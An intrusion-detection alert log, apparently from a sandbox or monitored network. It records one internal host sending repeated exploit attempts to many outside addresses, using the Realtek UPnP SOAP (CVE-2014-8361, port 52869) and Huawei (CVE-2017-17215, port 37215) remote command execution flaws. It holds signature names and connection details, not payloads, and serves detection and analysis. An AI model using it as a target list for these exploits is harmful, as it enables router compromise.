Source Port:	40134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 80.255.88.144

Timestamp:	07/20/24-23:02:20.433035
SID:	2025132
Source Port:	54366
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.197.138.116

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	34334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.241.55.92

Timestamp:	07/20/24-23:01:45.010540
SID:	2027339
Source Port:	53536
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 77.95.4.242

Timestamp:	07/20/24-23:01:20.175900
SID:	2829579
Source Port:	48058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.144.159.228

Timestamp:	07/20/24-23:01:02.132906
SID:	2027339
Source Port:	41954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.73.249.89

Timestamp:	07/20/24-23:01:42.800583
SID:	2027339
Source Port:	41092
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.47.109.140

Timestamp:	07/20/24-23:02:01.761996
SID:	2027339
Source Port:	57408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 172.247.8.242

Timestamp:	07/20/24-23:01:46.520663
SID:	2025132
Source Port:	50418
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.208.197.76

Timestamp:	07/20/24-23:01:54.914948
SID:	2831300
Source Port:	36136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.69.140.160

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	43088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 168.75.18.77

Timestamp:	07/20/24-23:01:42.603963
SID:	2025132
Source Port:	33514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 168.75.31.114

Timestamp:	07/20/24-23:01:55.666677
SID:	2831300
Source Port:	44326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.233.112.193

Timestamp:	07/20/24-23:01:07.004906
SID:	2835222
Source Port:	34768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.209.127.80

Timestamp:	07/20/24-23:01:14.097135
SID:	2829579
Source Port:	36888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 125.230.182.28

Timestamp:	07/20/24-23:00:57.221090
SID:	2829579
Source Port:	52728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.56.196.147

Timestamp:	07/20/24-23:01:20.593640
SID:	2831300
Source Port:	57606
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 88.29.47.240

Timestamp:	07/20/24-23:01:46.092258
SID:	2831300
Source Port:	56642
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.120.27.200

Timestamp:	07/20/24-23:01:56.300735
SID:	2027339
Source Port:	38046
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 37.247.244.116

Timestamp:	07/20/24-23:01:44.533289
SID:	2025132
Source Port:	43528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 75.16.13.92

Timestamp:	07/20/24-23:01:03.970797
SID:	2025132
Source Port:	52042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.158.122.120

Timestamp:	07/20/24-23:01:08.614193
SID:	2831300
Source Port:	54848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.182.239.64

Timestamp:	07/20/24-23:02:04.767225
SID:	2027339
Source Port:	33734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.240.85.125

Timestamp:	07/20/24-23:01:45.967403
SID:	2027339
Source Port:	48342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 46.179.46.173

Timestamp:	07/20/24-23:01:45.716157
SID:	2027339
Source Port:	56142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 129.251.133.85

Timestamp:	07/20/24-23:01:04.094795
SID:	2829579
Source Port:	54082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 216.151.5.50

Timestamp:	07/20/24-23:01:08.631492
SID:	2027339
Source Port:	40900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 169.195.139.119

Timestamp:	07/20/24-23:01:47.572503
SID:	2831300
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 125.128.111.151

Timestamp:	07/20/24-23:01:42.522141
SID:	2831300
Source Port:	32980
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.114.160.105

Timestamp:	07/20/24-23:02:00.866395
SID:	2025132
Source Port:	40598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.73.230.79

Timestamp:	07/20/24-23:01:00.634089
SID:	2835222
Source Port:	35110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.116.8.136

Timestamp:	07/20/24-23:01:34.044293
SID:	2835222
Source Port:	40776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 32.245.170.235

Timestamp:	07/20/24-23:01:04.240033
SID:	2835222
Source Port:	58496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.209.32

Timestamp:	07/20/24-23:01:34.043865
SID:	2829579
Source Port:	48550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.103.3.16

Timestamp:	07/20/24-23:01:41.258057
SID:	2025132
Source Port:	53762
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.28.92.86

Timestamp:	07/20/24-23:01:46.019511
SID:	2027339
Source Port:	33542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.32.103.4

Timestamp:	07/20/24-23:01:00.633295
SID:	2829579
Source Port:	37926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.12.14.153

Timestamp:	07/20/24-23:01:46.092258
SID:	2027339
Source Port:	34218
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.76.157.173

Timestamp:	07/20/24-23:02:07.984371
SID:	2027339
Source Port:	35942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 54.24.241.219

Timestamp:	07/20/24-23:01:14.100332
SID:	2835222
Source Port:	37614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.47.11.186

Timestamp:	07/20/24-23:01:02.046626
SID:	2835222
Source Port:	46656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.199.180.209

Timestamp:	07/20/24-23:01:52.720668
SID:	2027339
Source Port:	36286
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.3.222.239

Timestamp:	07/20/24-23:01:41.293630
SID:	2025132
Source Port:	36548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 148.117.206.184

Timestamp:	07/20/24-23:01:08.559170
SID:	2831300
Source Port:	46372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 52.234.117.101

Timestamp:	07/20/24-23:01:20.603553
SID:	2831300
Source Port:	60298
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 167.172.23.251

Timestamp:	07/20/24-23:01:58.301558
SID:	2025132
Source Port:	48106
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.156.14.69

Timestamp:	07/20/24-23:02:00.725615
SID:	2027339
Source Port:	54942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.141.159.182

Timestamp:	07/20/24-23:01:43.087294
SID:	2027339
Source Port:	41836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 17.121.90.69

Timestamp:	07/20/24-23:01:52.684763
SID:	2025132
Source Port:	35248
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.179.108

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	52540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.182.220.13

Timestamp:	07/20/24-23:01:40.279669
SID:	2835222
Source Port:	60064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.169.174.111

Timestamp:	07/20/24-23:01:43.994703
SID:	2027339
Source Port:	40006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 35.30.208.203

Timestamp:	07/20/24-23:02:06.689806
SID:	2025132
Source Port:	41968
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 222.131.76.141

Timestamp:	07/20/24-23:01:45.731228
SID:	2831300
Source Port:	35482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.226.47.93

Timestamp:	07/20/24-23:01:24.707761
SID:	2025132
Source Port:	33544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.149.133.62

Timestamp:	07/20/24-23:02:14.686790
SID:	2027339
Source Port:	55400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.40.217.143

Timestamp:	07/20/24-23:01:14.049603
SID:	2835222
Source Port:	40608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.104.194

Timestamp:	07/20/24-23:01:02.045831
SID:	2835222
Source Port:	45764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.238.177.84

Timestamp:	07/20/24-23:01:42.898615
SID:	2831300
Source Port:	55692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.130.206.241

Timestamp:	07/20/24-23:01:43.944379
SID:	2831300
Source Port:	39588
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 20.109.185.247

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	38352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.116.61.223

Timestamp:	07/20/24-23:01:42.297644
SID:	2027339
Source Port:	33012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 57.35.73.126

Timestamp:	07/20/24-23:00:57.221748
SID:	2835222
Source Port:	39456
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 133.103.41.145

Timestamp:	07/20/24-23:01:51.063023
SID:	2831300
Source Port:	51810
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.209.39.214

Timestamp:	07/20/24-23:01:57.269160
SID:	2027339
Source Port:	34702
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.49.55.120

Timestamp:	07/20/24-23:01:14.103467
SID:	2829579
Source Port:	59180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.69.193.236

Timestamp:	07/20/24-23:01:44.658614
SID:	2027339
Source Port:	59664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.12.76.39

Timestamp:	07/20/24-23:01:51.021834
SID:	2025132
Source Port:	52308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.28.108.81

Timestamp:	07/20/24-23:01:31.322288
SID:	2027339
Source Port:	41996
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 147.69.83.159

Timestamp:	07/20/24-23:01:08.646615
SID:	2831300
Source Port:	32940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.208.105

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	41862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 41.250.44.72

Timestamp:	07/20/24-23:01:46.520663
SID:	2831300
Source Port:	52002
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 25.222.248.206

Timestamp:	07/20/24-23:01:01.818567
SID:	2025132
Source Port:	60200
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.6.221.99

Timestamp:	07/20/24-23:00:57.221727
SID:	2829579
Source Port:	55506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.83.122

Timestamp:	07/20/24-23:00:57.221790
SID:	2829579
Source Port:	53842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.188.204.238

Timestamp:	07/20/24-23:01:43.946380
SID:	2027339
Source Port:	50156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.224.244.226

Timestamp:	07/20/24-23:00:59.196993
SID:	2835222
Source Port:	39268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.241.33.36

Timestamp:	07/20/24-23:02:10.632121
SID:	2027339
Source Port:	57462
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 105.155.204.151

Timestamp:	07/20/24-23:01:42.592141
SID:	2831300
Source Port:	53584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.158.237.150

Timestamp:	07/20/24-23:01:01.799480
SID:	2027339
Source Port:	60470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.183.171.74

Timestamp:	07/20/24-23:01:46.483452
SID:	2027339
Source Port:	42042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.175.144.226

Timestamp:	07/20/24-23:01:49.034246
SID:	2027339
Source Port:	43210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.250.134.170

Timestamp:	07/20/24-23:01:08.572196
SID:	2027339
Source Port:	50430
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 87.107.52.197

Timestamp:	07/20/24-23:01:48.065745
SID:	2025132
Source Port:	48512
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.172.236.0

Timestamp:	07/20/24-23:01:49.775041
SID:	2027339
Source Port:	36792
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.135.71.210

Timestamp:	07/20/24-23:01:20.592479
SID:	2831300
Source Port:	53042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.184.173.22

Timestamp:	07/20/24-23:01:42.662466
SID:	2025132
Source Port:	34206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.51.209.65

Timestamp:	07/20/24-23:01:45.426290
SID:	2831300
Source Port:	41698
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.179.244.2

Timestamp:	07/20/24-23:01:08.679677
SID:	2027339
Source Port:	47086
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.24.229.93

Timestamp:	07/20/24-23:01:41.205247
SID:	2027339
Source Port:	43106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.51.118

Timestamp:	07/20/24-23:00:59.185032
SID:	2835222
Source Port:	41970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 126.151.179.206

Timestamp:	07/20/24-23:01:07.026812
SID:	2829579
Source Port:	47382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.189.67.125

Timestamp:	07/20/24-23:01:46.485082
SID:	2027339
Source Port:	56676
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.179.239.59

Timestamp:	07/20/24-23:01:06.994337
SID:	2829579
Source Port:	36820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.133.200.251

Timestamp:	07/20/24-23:01:20.591862
SID:	2831300
Source Port:	58820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 120.123.66.167

Timestamp:	07/20/24-23:01:59.096276
SID:	2831300
Source Port:	43620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.154.207

Timestamp:	07/20/24-23:01:11.820979
SID:	2835222
Source Port:	42580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.241.55.92

Timestamp:	07/20/24-23:01:43.190670
SID:	2027339
Source Port:	51900
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 63.150.57.125

Timestamp:	07/20/24-23:01:01.632331
SID:	2025132
Source Port:	51590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 202.108.222.223

Timestamp:	07/20/24-23:01:14.296756
SID:	2835222
Source Port:	45326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

